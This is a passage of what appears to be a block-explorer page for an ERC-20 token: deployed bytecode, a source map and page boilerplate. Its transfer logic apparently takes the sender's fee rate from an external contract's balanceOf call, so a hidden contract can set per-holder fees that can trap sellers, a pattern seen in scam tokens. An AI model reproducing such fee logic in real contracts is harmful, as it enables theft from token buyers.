663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a791906116bf565b6040518363ffffffff1660e01b81526004016109c49291906116ea565b6020604051808303815f875af11580156109e0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0491906116bf565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a8b30610469565b5f80610a95610697565b426040518863ffffffff1660e01b8152600401610ab796959493929190611753565b60606040518083038185885af1158015610ad3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610af891906117c6565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b98929190611816565b6020604051808303815f875af1158015610bb4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd89190611867565b506001600560146101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd90611902565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b90611990565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e2e9190611450565b60405180910390a3505050565b5f8111610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e74906119f8565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610eb5575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eec575f80fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f7557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561101a5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610fd49190611527565b602060405180830381865afa158015610fef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110139190611a16565b9050611020565b60075490505b6110708260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111386110da60646110cc848661120a90919063ffffffff16565b61124a90919063ffffffff16565b61112a8460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461126f90919063ffffffff16565b6111e490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111d69190611450565b60405180910390a350505050565b5f828211156111f1575f80fd5b5f82846111fe9190611a6e565b90508091505092915050565b5f80830361121a575f9050611244565b5f82846112279190611aa1565b90508284826112369190611b0f565b1461123f575f80fd5b809150505b92915050565b5f808211611256575f80fd5b5f82846112639190611b0f565b90508091505092915050565b5f80828461127d9190611b3f565b90508381101561128b575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156112cc5780820151818401526020810190506112b1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112f182611295565b6112fb818561129f565b935061130b8185602086016112af565b611314816112d7565b840191505092915050565b5f6020820190508181035f83015261133781846112e7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136c82611343565b9050919050565b61137c81611362565b8114611386575f80fd5b50565b5f8135905061139781611373565b92915050565b5f819050919050565b6113af8161139d565b81146113b9575f80fd5b50565b5f813590506113ca816113a6565b92915050565b5f80604083850312156113e6576113e561133f565b5b5f6113f385828601611389565b9250506020611404858286016113bc565b9150509250929050565b5f8115159050919050565b6114228161140e565b82525050565b5f60208201905061143b5f830184611419565b92915050565b61144a8161139d565b82525050565b5f6020820190506114635f830184611441565b92915050565b5f805f606084860312156114805761147f61133f565b5b5f61148d86828701611389565b935050602061149e86828701611389565b92505060406114af868287016113bc565b9150509250925092565b5f60ff82169050919050565b6114ce816114b9565b82525050565b5f6020820190506114e75f8301846114c5565b92915050565b5f602082840312156115025761150161133f565b5b5f61150f84828501611389565b91505092915050565b61152181611362565b82525050565b5f60208201905061153a5f830184611518565b92915050565b5f80604083850312156115565761155561133f565b5b5f61156385828601611389565b925050602061157485828601611389565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115c257607f821691505b6020821081036115d5576115d461157e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61160f60208361129f565b915061161a826115db565b602082019050919050565b5f6020820190508181035f83015261163c81611603565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f61167760168361129f565b915061168282611643565b602082019050919050565b5f6020820190508181035f8301526116a48161166b565b9050919050565b5f815190506116b981611373565b92915050565b5f602082840312156116d4576116d361133f565b5b5f6116e1848285016116ab565b91505092915050565b5f6040820190506116fd5f830185611518565b61170a6020830184611518565b9392505050565b5f819050919050565b5f819050919050565b5f61173d61173861173384611711565b61171a565b61139d565b9050919050565b61174d81611723565b82525050565b5f60c0820190506117665f830189611518565b6117736020830188611441565b6117806040830187611744565b61178d6060830186611744565b61179a6080830185611518565b6117a760a0830184611441565b979650505050505050565b5f815190506117c0816113a6565b92915050565b5f805f606084860312156117dd576117dc61133f565b5b5f6117ea868287016117b2565b93505060206117fb868287016117b2565b925050604061180c868287016117b2565b9150509250925092565b5f6040820190506118295f830185611518565b6118366020830184611441565b9392505050565b6118468161140e565b8114611850575f80fd5b50565b5f815190506118618161183d565b92915050565b5f6020828403121561187c5761187b61133f565b5b5f61188984828501611853565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118ec60248361129f565b91506118f782611892565b604082019050919050565b5f6020820190508181035f830152611919816118e0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61197a60228361129f565b915061198582611920565b604082019050919050565b5f6020820190508181035f8301526119a78161196e565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20300000005f82015250565b5f6119e2601d8361129f565b91506119ed826119ae565b602082019050919050565b5f6020820190508181035f830152611a0f816119d6565b9050919050565b5f60208284031215611a2b57611a2a61133f565b5b5f611a38848285016117b2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a788261139d565b9150611a838361139d565b9250828203905081811115611a9b57611a9a611a41565b5b92915050565b5f611aab8261139d565b9150611ab68361139d565b9250828202611ac48161139d565b91508282048414831517611adb57611ada611a41565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b198261139d565b9150611b248361139d565b925082611b3457611b33611ae2565b5b828204905092915050565b5f611b498261139d565b9150611b548361139d565b9250828201905080821115611b6c57611b6b611a41565b5b9291505056fea2646970667358221220c505e83c6e94e95e44d3d608917100508ded877f8f4c5044cde91cf8f5f0c2e464736f6c63430008180033

Deployed Bytecode Sourcemap

2213:3973:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3319:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4824:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4328:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4982:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4427:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4210:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1846:148;;;;;;;;;;;;;:::i;:::-;;3505:126;;;;;;;;;;;;;:::i;:::-;;2127:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3410:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4518:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3639:559;;;:::i;:::-;;4682:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3319:83;3356:13;3389:5;3382:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3319:83;:::o;4824:150::-;4890:4;4907:37;4916:10;4928:7;4937:6;4907:8;:37::i;:::-;4962:4;4955:11;;4824:150;;;;:::o;4328:91::-;4372:7;4399:12;;4392:19;;4328:91;:::o;4982:256::-;5071:4;5088:36;5098:6;5106:9;5117:6;5088:9;:36::i;:::-;5135:73;5144:6;5152:10;5164:43;5200:6;5164:11;:19;5176:6;5164:19;;;;;;;;;;;;;;;:31;5184:10;5164:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5135:8;:73::i;:::-;5226:4;5219:11;;4982:256;;;;;:::o;4427:83::-;4468:5;4493:9;;;;;;;;;;;4486:16;;4427:83;:::o;4210:110::-;4267:7;4294:9;:18;4304:7;4294:18;;;;;;;;;;;;;;;;4287:25;;4210:110;;;:::o;1846:148::-;2052:10;2042:20;;:6;;;;;;;;;;:20;;;2034:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1953:1:::1;1916:40;;1937:6;::::0;::::1;;;;;;;;1916:40;;;;;;;;;;;;1984:1;1967:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1846:148::o:0;3505:126::-;2052:10;2042:20;;:6;;;;;;;;;;:20;;;2034:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3576:12:::1;;3559:14;:29;;;;3611:12;;3599:9;:24;;;;3505:126::o:0;2127:79::-;2165:7;2192:6;;;;;;;;;;;2185:13;;2127:79;:::o;3410:87::-;3449:13;3482:7;3475:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3410:87;:::o;4518:156::-;4587:4;4604:40;4614:10;4626:9;4637:6;4604:9;:40::i;:::-;4662:4;4655:11;;4518:156;;;;:::o;3639:559::-;2052:10;2042:20;;:6;;;;;;;;;;:20;;;2034:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3711:14:::1;;;;;;;;;;;3710:15;3702:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;3763:63;3780:4;3795:15;;;;;;;;;;;3813:12;;3763:8;:63::i;:::-;3871:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3853:55;;;3917:4;3924:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3853:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3837:13;;:110;;;;;;;;;;;;;;;;;;3958:15;;;;;;;;;;;:31;;;3997:9;4016:4;4022:24;4040:4;4022:9;:24::i;:::-;4048:1;4050::::0;4052:7:::1;:5;:7::i;:::-;4060:15;3958:118;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;4094:13;;;;;;;;;;;4087:29;;;4125:15;;;;;;;;;;;4143:14;4087:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4186:4;4169:14;;:21;;;;;;;;;;;;;;;;;;3639:559::o:0;4682:134::-;4754:7;4781:11;:18;4793:5;4781:18;;;;;;;;;;;;;;;:27;4800:7;4781:27;;;;;;;;;;;;;;;;4774:34;;4682:134;;;;:::o;5246:335::-;5356:1;5339:19;;:5;:19;;;5331:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5437:1;5418:21;;:7;:21;;;5410:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5519:6;5489:11;:18;5501:5;5489:18;;;;;;;;;;;;;;;:27;5508:7;5489:27;;;;;;;;;;;;;;;:36;;;;5557:7;5541:32;;5550:5;5541:32;;;5566:6;5541:32;;;;;;:::i;:::-;;;;;;;;5246:335;;;:::o;5589:594::-;5686:1;5677:6;:10;5669:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;5732:11;5782:1;5766:18;;:4;:18;;;5758:27;;;;;;5818:1;5804:16;;:2;:16;;;5796:25;;;;;;5844:13;;;;;;;;;;;5836:21;;:4;:21;;;;:46;;;;;5877:4;5861:21;;:4;:21;;;;5836:46;5832:164;;;5912:12;;;;;;;;;;;5905:30;;;5936:4;5905:36;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5899:42;;5832:164;;;5980:4;;5974:10;;5832:164;6024:27;6044:6;6024:9;:15;6034:4;6024:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6006:9;:15;6016:4;6006:15;;;;;;;;;;;;;;;:45;;;;6078:55;6108:24;6128:3;6108:15;6119:3;6108:6;:10;;:15;;;;:::i;:::-;:19;;:24;;;;:::i;:::-;6078:25;6096:6;6078:9;:13;6088:2;6078:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:55;;;;:::i;:::-;6062:9;:13;6072:2;6062:13;;;;;;;;;;;;;;;:71;;;;6164:2;6149:26;;6158:4;6149:26;;;6168:6;6149:26;;;;;;:::i;:::-;;;;;;;;5658:525;5589:594;;;:::o;485:148::-;543:7;576:1;571;:6;;563:15;;;;;;589:9;605:1;601;:5;;;;:::i;:::-;589:17;;624:1;617:8;;;485:148;;;;:::o;641:185::-;699:7;728:1;723;:6;719:23;;739:1;732:8;;;;719:23;752:9;768:1;764;:5;;;;:::i;:::-;752:17;;797:1;792;788;:5;;;;:::i;:::-;:10;780:19;;;;;;817:1;810:8;;;641:185;;;;;:::o;990:147::-;1048:7;1080:1;1076;:5;1068:14;;;;;;1093:9;1109:1;1105;:5;;;;:::i;:::-;1093:17;;1128:1;1121:8;;;990:147;;;;:::o;834:148::-;892:7;912:9;928:1;924;:5;;;;:::i;:::-;912:17;;953:1;948;:6;;940:15;;;;;;973:1;966:8;;;834:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:172::-;7657:24;7653:1;7645:6;7641:14;7634:48;7517:172;:::o;7695:366::-;7837:3;7858:67;7922:2;7917:3;7858:67;:::i;:::-;7851:74;;7934:93;8023:3;7934:93;:::i;:::-;8052:2;8047:3;8043:12;8036:19;;7695:366;;;:::o;8067:419::-;8233:4;8271:2;8260:9;8256:18;8248:26;;8320:9;8314:4;8310:20;8306:1;8295:9;8291:17;8284:47;8348:131;8474:4;8348:131;:::i;:::-;8340:139;;8067:419;;;:::o;8492:143::-;8549:5;8580:6;8574:13;8565:22;;8596:33;8623:5;8596:33;:::i;:::-;8492:143;;;;:::o;8641:351::-;8711:6;8760:2;8748:9;8739:7;8735:23;8731:32;8728:119;;;8766:79;;:::i;:::-;8728:119;8886:1;8911:64;8967:7;8958:6;8947:9;8943:22;8911:64;:::i;:::-;8901:74;;8857:128;8641:351;;;;:::o;8998:332::-;9119:4;9157:2;9146:9;9142:18;9134:26;;9170:71;9238:1;9227:9;9223:17;9214:6;9170:71;:::i;:::-;9251:72;9319:2;9308:9;9304:18;9295:6;9251:72;:::i;:::-;8998:332;;;;;:::o;9336:85::-;9381:7;9410:5;9399:16;;9336:85;;;:::o;9427:60::-;9455:3;9476:5;9469:12;;9427:60;;;:::o;9493:158::-;9551:9;9584:61;9602:42;9611:32;9637:5;9611:32;:::i;:::-;9602:42;:::i;:::-;9584:61;:::i;:::-;9571:74;;9493:158;;;:::o;9657:147::-;9752:45;9791:5;9752:45;:::i;:::-;9747:3;9740:58;9657:147;;:::o;9810:807::-;10059:4;10097:3;10086:9;10082:19;10074:27;;10111:71;10179:1;10168:9;10164:17;10155:6;10111:71;:::i;:::-;10192:72;10260:2;10249:9;10245:18;10236:6;10192:72;:::i;:::-;10274:80;10350:2;10339:9;10335:18;10326:6;10274:80;:::i;:::-;10364;10440:2;10429:9;10425:18;10416:6;10364:80;:::i;:::-;10454:73;10522:3;10511:9;10507:19;10498:6;10454:73;:::i;:::-;10537;10605:3;10594:9;10590:19;10581:6;10537:73;:::i;:::-;9810:807;;;;;;;;;:::o;10623:143::-;10680:5;10711:6;10705:13;10696:22;;10727:33;10754:5;10727:33;:::i;:::-;10623:143;;;;:::o;10772:663::-;10860:6;10868;10876;10925:2;10913:9;10904:7;10900:23;10896:32;10893:119;;;10931:79;;:::i;:::-;10893:119;11051:1;11076:64;11132:7;11123:6;11112:9;11108:22;11076:64;:::i;:::-;11066:74;;11022:128;11189:2;11215:64;11271:7;11262:6;11251:9;11247:22;11215:64;:::i;:::-;11205:74;;11160:129;11328:2;11354:64;11410:7;11401:6;11390:9;11386:22;11354:64;:::i;:::-;11344:74;;11299:129;10772:663;;;;;:::o;11441:332::-;11562:4;11600:2;11589:9;11585:18;11577:26;;11613:71;11681:1;11670:9;11666:17;11657:6;11613:71;:::i;:::-;11694:72;11762:2;11751:9;11747:18;11738:6;11694:72;:::i;:::-;11441:332;;;;;:::o;11779:116::-;11849:21;11864:5;11849:21;:::i;:::-;11842:5;11839:32;11829:60;;11885:1;11882;11875:12;11829:60;11779:116;:::o;11901:137::-;11955:5;11986:6;11980:13;11971:22;;12002:30;12026:5;12002:30;:::i;:::-;11901:137;;;;:::o;12044:345::-;12111:6;12160:2;12148:9;12139:7;12135:23;12131:32;12128:119;;;12166:79;;:::i;:::-;12128:119;12286:1;12311:61;12364:7;12355:6;12344:9;12340:22;12311:61;:::i;:::-;12301:71;;12257:125;12044:345;;;;:::o;12395:223::-;12535:34;12531:1;12523:6;12519:14;12512:58;12604:6;12599:2;12591:6;12587:15;12580:31;12395:223;:::o;12624:366::-;12766:3;12787:67;12851:2;12846:3;12787:67;:::i;:::-;12780:74;;12863:93;12952:3;12863:93;:::i;:::-;12981:2;12976:3;12972:12;12965:19;;12624:366;;;:::o;12996:419::-;13162:4;13200:2;13189:9;13185:18;13177:26;;13249:9;13243:4;13239:20;13235:1;13224:9;13220:17;13213:47;13277:131;13403:4;13277:131;:::i;:::-;13269:139;;12996:419;;;:::o;13421:221::-;13561:34;13557:1;13549:6;13545:14;13538:58;13630:4;13625:2;13617:6;13613:15;13606:29;13421:221;:::o;13648:366::-;13790:3;13811:67;13875:2;13870:3;13811:67;:::i;:::-;13804:74;;13887:93;13976:3;13887:93;:::i;:::-;14005:2;14000:3;13996:12;13989:19;;13648:366;;;:::o;14020:419::-;14186:4;14224:2;14213:9;14209:18;14201:26;;14273:9;14267:4;14263:20;14259:1;14248:9;14244:17;14237:47;14301:131;14427:4;14301:131;:::i;:::-;14293:139;;14020:419;;;:::o;14445:179::-;14585:31;14581:1;14573:6;14569:14;14562:55;14445:179;:::o;14630:366::-;14772:3;14793:67;14857:2;14852:3;14793:67;:::i;:::-;14786:74;;14869:93;14958:3;14869:93;:::i;:::-;14987:2;14982:3;14978:12;14971:19;;14630:366;;;:::o;15002:419::-;15168:4;15206:2;15195:9;15191:18;15183:26;;15255:9;15249:4;15245:20;15241:1;15230:9;15226:17;15219:47;15283:131;15409:4;15283:131;:::i;:::-;15275:139;;15002:419;;;:::o;15427:351::-;15497:6;15546:2;15534:9;15525:7;15521:23;15517:32;15514:119;;;15552:79;;:::i;:::-;15514:119;15672:1;15697:64;15753:7;15744:6;15733:9;15729:22;15697:64;:::i;:::-;15687:74;;15643:128;15427:351;;;;:::o;15784:180::-;15832:77;15829:1;15822:88;15929:4;15926:1;15919:15;15953:4;15950:1;15943:15;15970:194;16010:4;16030:20;16048:1;16030:20;:::i;:::-;16025:25;;16064:20;16082:1;16064:20;:::i;:::-;16059:25;;16108:1;16105;16101:9;16093:17;;16132:1;16126:4;16123:11;16120:37;;;16137:18;;:::i;:::-;16120:37;15970:194;;;;:::o;16170:410::-;16210:7;16233:20;16251:1;16233:20;:::i;:::-;16228:25;;16267:20;16285:1;16267:20;:::i;:::-;16262:25;;16322:1;16319;16315:9;16344:30;16362:11;16344:30;:::i;:::-;16333:41;;16523:1;16514:7;16510:15;16507:1;16504:22;16484:1;16477:9;16457:83;16434:139;;16553:18;;:::i;:::-;16434:139;16218:362;16170:410;;;;:::o;16586:180::-;16634:77;16631:1;16624:88;16731:4;16728:1;16721:15;16755:4;16752:1;16745:15;16772:185;16812:1;16829:20;16847:1;16829:20;:::i;:::-;16824:25;;16863:20;16881:1;16863:20;:::i;:::-;16858:25;;16902:1;16892:35;;16907:18;;:::i;:::-;16892:35;16949:1;16946;16942:9;16937:14;;16772:185;;;;:::o;16963:191::-;17003:3;17022:20;17040:1;17022:20;:::i;:::-;17017:25;;17056:20;17074:1;17056:20;:::i;:::-;17051:25;;17099:1;17096;17092:9;17085:16;;17120:3;17117:1;17114:10;17111:36;;;17127:18;;:::i;:::-;17111:36;16963:191;;;;:::o

Swarm Source

ipfs://c505e83c6e94e95e44d3d608917100508ded877f8f4c5044cde91cf8f5f0c2e4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.